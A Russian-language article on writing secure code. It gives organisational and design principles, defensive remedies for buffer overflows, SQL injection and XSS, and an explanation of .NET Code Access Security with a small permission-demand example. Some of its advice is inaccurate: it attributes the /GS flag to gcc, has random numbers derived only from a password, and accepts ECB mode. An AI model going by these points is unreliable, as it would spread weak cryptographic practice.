В нынешнее время очень хорошим результатом для гуру-программиста считается 1 серьёзная ошибка на 1000 строк кода. Для примера, в новомодной Windows 8 содержится 7 миллионов строк. Число критических ошибок подсчитать может 9-летний выпускник начальной школы.

Почему же ситуация столь плоха? Что надо делать, чтобы писать защищённый код и ограждаться от множества уязвимостей в собственном ПО? Об этом в сегодняшней статье, основанной на трудах ведущих разработчиков Microsoft М. Ховарда и Дж. ЛеБланка.

Прежде чем писать о защищённости программ и принципах написания защищённого кода, отметим ещё один важный фактор, сильно влияющий на конечный результат. Приложения пишутся людьми, люди склонны к лени, невнимательности и как следствие, - множеству ошибок. Также, люди склонны к личной выгоде, универсалом которой являются деньги. Соответственно, первый и главный аспект написания защищённых приложений - это мотивирование персонала: разработчиков и тестировщиков. О том, как это сделать сказано в замечательной статье о плате за взлом или защите от уязвимостей .

Безопасность приложений

Основная задача написания защищённого кода – создание защищённых программ, т.е. программ, которые обеспечивают конфиденциальность, целостность и доступность информации клиента вашей IT-компании, а также целостность и доступность вычислительных ресурсов, управляемых владельцем системы или системным администратором. Здесь и далее будет идти речь об организациях, занимающихся разработкой ПО. Обеспечить исполнение определённых правил конкретно написания кода мало – прежде всего, надо корректно организовать весь итеративно-инкрементный процесс разработки ПО, а также обеспечить корректное управление безопасностью приложений.

Перечислим общие принципы, которые должны быть включены в политику безопасности, при работе с приложениями и при их написании. Одним из основных девизов компании должен стать девиз «безопасность (безопасность ПО в вышеуказанном смысле) – превыше всего».

Действие №1 . Пропаганда идей безопасности на предприятии, пока идея их обеспечения не станет статьёй в бизнес-плане компании. Для этого, естественно, нужно предъявить начальству весомую аргументацию, прямо касающуюся прибыли компании, после чего убедить начальство в том, чтобы оно само обратилось к сотрудникам с выработанным регламентом политики ИБ.

Действие №2 . Взять в штат специалиста по ИБ, который будет заниматься контролем за соблюдением политики ИБ, поддерживать/обслуживать/обновлять/адаптировать динамическую систему ИБ, вырабатывать новую политику ИБ (модели угроз и т.д.).

Действие №3 . Организация непрерывного обучения штата: обязательность и непрерывность; регулярная рассылка с выявляемыми проблемами и просьба решить эти проблемы тем, в зоне чьей ответственности они находятся; создать ресурс по ИБ в интрасети, пересматривать написанный код с позиции возможных ошибок ИБ и наличия ныне известных и потенциально возможных уязвимостей.

Действие №4 . Классификация ошибок систем ИБ. Можно расширить и назвать данный пункт: составление классифицированной модели угроз. Смысл ясен.

Общие принципы проектирования защищённых приложений :

1. Защита должна ставиться, как неотъемлемая функция создаваемого ПО.

2. На обеспечение безопасности ПО должно быть отведено достаточно времени.

3. Обязательно должна быть составлена модель угроз: декомпозиция ПО с выявлением присущих уязвимостей; определение степени опасности и вероятности возникновения каждой уязвимости/опасности; составление матрицы угроз; определение противодействий, а также действий в случае реализации угрозы.

4. Определение процедуры удаления небезопасных функций и частей в ПО.

5. Должны быть созданы метрики безопасности, соответствующие модели угроз, в которых должны быть определены предельные пороги.

6. Разработка тест-планов и периодическая проверка и контроль процесса создания ПО отделом ИБ на каждом этапе разработки по созданным тест-планам, по возможности, - приглашёнными специалистами.

7. Обязательный контроль безопасности модуля не тем, кто разработал данный модуль.

8. Безопасность должна обеспечиваться в конфигурации по умолчанию и при развёртывании.

9. Особый контроль за предоставлением прав на внесение изменений в ПО.

10. «Площадь уязвимости» (потенциальная) должна быть как можно меньше (всевозможные открытые TCP/UDPпорты, запускаемые и зависимые службы, динамические веб-страницы, части приложения или службы, запускаемые с высокими привилегиями и т.д.).

11. Должны быть защищены все уровни (независимо друг от друга и от других уровней защиты).

12. Используйте правило минимальных привилегий (и + грамотно составленный ACL).

13. Следует вести разработку с учётом аксиомы: внешние системы по умолчанию не защищены.

14. Разработайте план действий на случай сбоев или отказов.

15. Не стройте систему безопасности на ограничении информации о ПО.

16. Разделяйте код и данные (исключение любой смеси данных и JS- или SQL-кода).

17. Исправляя ошибки в защите, проверяйте всю систему – все модули, пытаясь найти там те же проблемы.

Общие принципы безопасного кодирования :

1. Не предоставляйте взломщику никакой информации.

2. Не позволяйте информации просочиться через заголовки.

3. Не включайте ничего лишнего в код!

4. Следите за квотами, буферами и сериализацией.

5. Используйте стандартные средства операционной системы.

6. Не рассчитывайте, что пользователи всегда принимают правильные решения: проверяйте все входные данные в широком смысле.

7. Не размещайте никаких пользовательских файлов в каталоге \Program Files.

8. Безопасно создавайте временные файлы (GetTempPath, GetTempFileName)

9. Никаких внутрикорпоративных имен в приложении!

10. Ведите журналы безопасности в приложении.

11. Перенос кода, написанного на С/С++, на управляемый язык (C#).

Безопасность написания защищённого кода на конкретных примерах

Поговорим об основных проблемах и принципах программирования, связанных с написанием безопасного приложения:

1. Переполнение буфера (стека, кучи, переполнение в результате ошибок индексации массивов, переполнение в результате использования некорректной кодировки). Способ лечения: строгая проверка всех входных данных на корректность во всех отношениях, аккуратность при обработке данных; проверка корректности подаваемых на вход strcpy/strlenи т.д. данных; использование параметра компиляции /gs компилятора gcc/VisualС++ .NET.

2. Использование злоумышленниками ПО или его службы, запущенного/ой с высокими привилегиями (примеров много, и они очевидны). Решение: а) Выясните, какие ресурсы нужны ПО; б) выясните, какие APIиспользует ПО; в) определите, какая требуется учётная запись и какой ей нужен маркер; г) Отладка ошибок, возникающих из-за ограничения привилегий.

3. Слабые случайные числа. Решение: использовать ГСЧ на основе хороших блочных шифров с полным набором раундов, работающих в режимах CBC, CFBили OFB (хотя допускается и режим ECB). Генерация – только на основании пароля, который в свою очередь должен удовлетворять определённым условиям сложности (в ПО должна быть проверка).

4. Слабая криптография. Решение: использование по возможности краткосрочных (сеансовых) ключей. Аутентификационные данные должны храниться строго централизованно, а обрабатываться – локально. В случае возникновения задачи обмена ключами по небезопасному каналу – использовать ассиметричную криптографию, передавая таким способом лишь ключи к симметричному шифру. В случае оборота ЭД, использовать механизм ЭЦП.

5. Универсальная защита конфиденциальных данных. Проблема: её нет. Решение: шифрование данных мощным симметричным алгоритмом (AES, RC6, Blowfish, 3DESи т.д.), хранение пароля в надёжном разделе реестра (в случае несистемного использование – вообще нехранение пароля!), требование ввода пароля, защита списками ACLфайла и раздела реестра.

6. Опасность входных данных (SQL-injection, XSSи многое другое). Проблема: очевидна. Решение: особое внимание всякого рода регулярным выражениям; строгий контроль корректности и длины входных данных и их фильтрация. Указывайте полные пути в адресах, представленные в канонической форме.

7. Опасности работы с БД. Решения: а) Использование параметризованных запросов к БД, отсутствие конструирования запросов внутри приложения; жёсткий контроль корректности отправляемых запросов; б) не подключаться к БД от имени system; г) Используйте безопасно хранимые процедуры.

8. Защита от XSS-атак: а) кодирование выходных данных; б) использование двойных кавычек во всех атрибутах тэга; в) Как можно чаще используйте innerText; г) Используйте только одну кодовую страницу.

Выводы

Итак, мы рассмотрели основные правила и принципы написания защищённого кода в приложениях; способах защиты его от узявимостей и проблемах программирования. Конечно, данные методы не являются исчерпывающими и не претендуют на полноту - они лишь показывают основные закономерности, тенденции и принципы граммотного проектирования архитектуры проекта и моментов, стоящих внимания. Не стоит забывать и об организационной безопасности , роль которой сложно переоценить, а также принципах информационной безопасности в общем.

A.S.

Безопасность доступа кода

Чем важна модель безопасности доступа кода (Code Access Security) ? С помощью модели безопасности на основе ролей можно указывать, что разрешено делать пользователю, а с помощью модели безопасности доступа кода - что разрешено делать коду. В.NET 4 эта модель упростилась, благодаря удалению необходимости в настройке сложных политик безопасности и добавлению второго уровня прозрачной безопасности (Security Transparency Level 2) . Один такой уровень существовал и ранее, а второй является нововведением.NET 4.

На этом уровне проводится различие между кодом, которому разрешено выполнять привилегированные вызовы (такие как вызовы собственного кода), и кодом, которому это делать не разрешается. Весь код делится на три категории:

Критичный для безопасности код (Security-Critical Code)

В рамках этого кода может выполняться любой код. Вызываться из прозрачного кода такой код не может.

Безопасный код (Safe-Critical Code)

В рамках этого кода могут выполняться различные проверки на предмет безопасности. Такой код может вызываться из прозрачного кода.

Прозрачный код

В рамках этого кода может выполняться очень ограниченное число операций. Этому коду разрешено выполняться только с определенным набором разрешений и только в песочнице (sandbox) . В нем не может содержаться никакого небезопасного или непроверяемого кода и вызываться критичный для безопасности код. При написании Windows-приложений ограничение прав кода не применяется.

Приложения, выполняющиеся в настольной среде, обладают всеми привилегиями доверия и могут содержать любой код. Технология изоляции кода на время выполнения в называемую песочницей (sandbox) ограниченную среду применяется с приложениями SilverLight, а также приложениями ASP.NET, которые обслуживаются веб-провайдером или обладают специфической функциональностью, например, предусматривают запуск дополнительных надстроек за счет использования Managed Add-In Framework.

Второй уровень прозрачной безопасности

Сборку можно снабжать атрибутом SecurityRules и устанавливать для него значение SecurityRuleSet.Level2 для применения нового уровня прозрачности, который доступен в.NET 4. (По умолчанию в.NET 4 используется именно этот уровень.) Для обеспечения обратной совместимости для него следует установить значение Level1:

В случае применения атрибута SecurityTransparent вся сборка не будет делать ничего привилегированного или небезопасного. Она сможет только вызывать какой-то прозрачный или безопасный код. Применять этот атрибут допускается только на уровне всей сборки.

Атрибут AllowPartiallyTrustedCallers позволяет сделать код чем-то средним между прозрачным кодом и кодом остальных категорий. В случае применения этого атрибута код по умолчанию интерпретируется как прозрачный, но отдельные типы или члены внутри него могут иметь и другие атрибуты:

Если не применен ни один из этих атрибутов, код считается критическим для безопасности. Однако при желании в нем можно применить атрибут SecuritySafeCritical к отдельным типам и членам и тем самым сделать их пригодными для вызова из прозрачного кода:

Полномочия

В случае выполнения кода внутри песочницы указывать, что коду разрешено делать, можно в самой песочнице за счет определения полномочий.NET. Если приложениям, запущенным в настольной среде, предоставляется полный набор полномочий, который позволяет им предпринимать любые действия, то приложениям, выполняющимся в песочнице, предоставляется лишь набор полномочий, который главная среда (хост) передает песочнице и который позволяет выполнять лишь определенные действия. Можно также определять полномочия для домена приложений, запускаемого из настольных приложений. Для этого должен использоваться API-интерфейс Sandbox .

Под полномочиями, или разрешениями, понимаются действия, которые разрешается (или запрещается) выполнять каждой группе кода. Например, полномочия могут включать в себя "чтение файлов из файловой системы", "выполнение операций записи в Active Directory" и "использование сокетов для открытия сетевых соединений". Есть несколько предопределенных полномочий, и можно также создавать собственные.

Полномочия.NET не зависят от разрешений операционной системы. Полномочия.NET просто проверяются исполняющей средой. Сборка требует выдачи полномочия для выполнения определенной операции (например, класс File требует выдачи полномочия FileIOPermission), а среда CLR проверяет, чтобы сборке было выдано необходимое полномочие, и она могла продолжить свою работу.

Перечень полномочий, которые могут применяться к сборке и запрашиваться из кода, является очень длинным и многоуровневым. Ниже перечислены лишь некоторые из предоставляемых CLR классов полномочий, чтобы продемонстрировать, насколько высокую степень контроля над кодом с их помощью можно обеспечить:

DirectoryServicesPermission

Позволяет управлять возможностью получать доступ к Active Directory с помощью классов System.DirectoryServices.

DnsPermission

Позволяет управлять возможностью использования DNS (Domain Name System - служба имен доменов).

EnvironmentPermission

Позволяет управлять возможностью выполнять чтение и запись в переменных среды.

EventLogPermission

Позволяет управлять возможностью выполнять операции чтения и записи в журнале событий.

FileDialogPemission

Позволяет управлять возможностью получать доступ к файлам, которые пользователь выбирает в диалоговом окне Open (Открыть). Обычно такое полномочие применяется в случае невыдачи полномочия FileIOPermission для предоставления хотя бы ограниченного доступа к файлам.

FileIOPermission

Позволяет управлять возможностью работать с файлами (чтение, запись и добавление в файлы, а также создание, изменение и доступ к папкам).

IsolatedStorageFilePermission

Позволяет управлять возможностью доступа к приватным виртуальным файловым системам.

IsolatedStoragePermission

Позволяет управлять возможностью доступа к изолированным хранилищам, т.е. хранилищам, ассоциируемым с отдельными пользователями и имеющими какие-то идентификационные данные в коде.

MessageQueuePermission

Позволяет управлять возможностью использования очереди сообщений через службу Microsoft Message Queue.

PerformanceCounterPermission

Позволяет управлять возможностью использования счетчиков производительности.

PrintingPermission

Позволяет управлять возможностью выполнения печати.

ReflectionPermission

Позволяет управлять возможностью обнаружения информации о типах во время выполнения с использованием класса System.Reflection.

RegistryPermission

Позволяет управлять возможностью чтения, записи, создания и удаления разделов и параметров в системном реестре.

SecurityPermission

Позволяет управлять возможностью выполнения, подтверждения полномочий, вызова неуправляемого кода, пропуска процесса верификации, а также выдачи других прав.

ServiceControllerPermission

Позволяет управлять возможностью осуществлять управление службами Windows.

Socket Permission

Позволяет управлять возможностью создания или приема соединений TCP/IP по сетевому транспортному адресу.

SQLClientPermission

Позволяет управлять возможностью доступа к базам данных SQL Server с помощью предусмотренного в.NET поставщика данных для SQL Server.

С помощью каждого из этих классов полномочия часто удается задавать даже еще более точно. Например, класс DirectoryServicesPermission позволяет проводить разграничение между полномочиями на выполнение операций чтения и на выполнение операций записи, а также указывать, к каким именно записям в службах каталогов должен быть разрешен или запрещен доступ.

Наборы полномочий

Под наборами полномочий понимаются коллекции разрешений. Они избавляют от необходимости применять к коду каждое разрешение отдельно и позволяют группировать необходимые разрешения и применять их к коду сразу вместе. Например, сборка с набором полномочий FullTrust будет иметь полный доступ ко всем ресурсам, а сборка с набором полномочий Local Intranet - лишь ограниченный с возможностью выполнения операций записи только в изолированном хранилище и больше нигде в файловой системе. Допускается создавать собственные наборы полномочий, включающие только определенные разрешения.

Назначение полномочий группам кода избавляет от необходимости иметь дело с одиночными полномочиями и позволяет применять полномочия сразу целыми блоками, для чего в.NET и предусмотрена концепция наборов полномочий. Эти наборы, по сути, представляют собой списки предоставляемых коду прав, объединенные в именованный набор. Ниже приведено краткое описание семи именованных наборов полномочий, которые поставляются в.NET изначально:

Тип полномочия Описание
FullTrust Подразумевает отсутствие всяких ограничений в полномочиях.
SkipVerification Подразумевает обход верификации.
Execution Позволяет коду выполняться, но не получать доступ ни к каким защищенным ресурсам.
Nothing Не предоставляет коду никаких полномочий и не позволяет ему выполняться.
Local Intranet Предоставляет лишь подмножество из полного набора полномочий. Например, операции файлового ввода-вывода ограничиваются возможностью доступа только для чтения к общему ресурсу, который является источником сборки. В.NET 3.5 и более ранних выпусках (до появления.NET 3.5 с пакетом обновлений SP1) этот набор полномочий применялся в случае выполнения приложения из сетевого общего ресурса.
Internet Предусматривает использование стандартной политики безопасности для кода неизвестного происхождения. Из всех перечисленных наборов полномочий этот является самым ограниченным. Например, коду, выполняющемуся в рамках этого набора полномочий, не разрешены ни файловые операции ввода-вывода, ни операций чтения и записи журнала событий, ни операции чтения и записи переменных среды.
Everything Предусматривает выдачу всех перечисленных выше полномочий за исключением SkipVerification. Администратор может изменять любое из полномочий в этом наборе. Это удобно, если необходимо ужесточить стандартную политику безопасности.

Важно обратить внимание на то, что изменять определения полномочий можно только в наборе Everything (Все); остальные наборы являются фиксированными и изменяться не могут. Разумеется, можно создавать и собственные наборы полномочий.

Запрос полномочий программным образом

Сборка может запрашивать полномочия как декларативным, так и программным образом. В следующем фрагменте кода показано, как запрашивать полномочия с помощью метода DemandFileIOPermissions(). После импорта пространства имен System.Security.Permisions можно выполнять проверку на предмет наличия необходимых полномочий, создавая объект FileIOPermission и вызывая его метод Demand().

Этот метод позволяет проверить, есть ли у кода, вызывающего метод, в данном случае - DemandFileIOPermissions, необходимые полномочия. Если метод Demand() завершается неудачей, генерируется исключение типа SecurityException. Это исключение можно не перехватывать, и предоставлять его обработку вызывающему коду.

Using System; using System.Security; using System.Security.Permissions; using System.IO; namespace Wrox.ProCSharp.Security { public class DemandPermissions { public void DemandFileIOPermissions(string path) { var fileIOPermission = new FileIOPermission(PermissionState.Unrestricted); fileIOPermission.Demand(); //... } } }

Класс FileIOPermission содержится внутри пространства имен System.Security.Permisions, в котором определен полный набор полномочий, а также классы для декларативных атрибутов полномочий и перечисления для параметров, применяемых для создания объектов полномочий (например, создания объекта FileIOPermission, указывающего, требуется доступ только для чтения или же полный доступ).

Для перехвата исключений, генерируемых исполняющей средой CLR, когда код пытается выполнить какие-то противоречащие выданным ему полномочиям действия, можно организовать перехват исключения типа SecurityException. Это исключение предоставляет доступ к набору полезных фрагментов информации, в том числе читабельной трассировке стека (SecurityException.StackTrace) и ссылке на метод, который привел к выдаче исключения (SecurityException.TargetSite). Вдобавок SecurityException предоставляет свойство SecurityException.PermissionType, которое возвращает информацию о типе объекта Permission, вызвавшего генерацию исключения.

В случае применения только классов.NET для операций файлового ввода и вывода самостоятельно запрашивать FileIOPermission не обязательно, поскольку классы.NET, позволяющие производить такие операции, умеют делать это сами. Однако при создании оболочек для вызова собственных методов API-интерфейса, таких как CreateFileTransacted(), его нужно запрашивать самостоятельно. Этот механизм также можно применять для запроса специальных полномочий у вызывающего кода.

Поделиться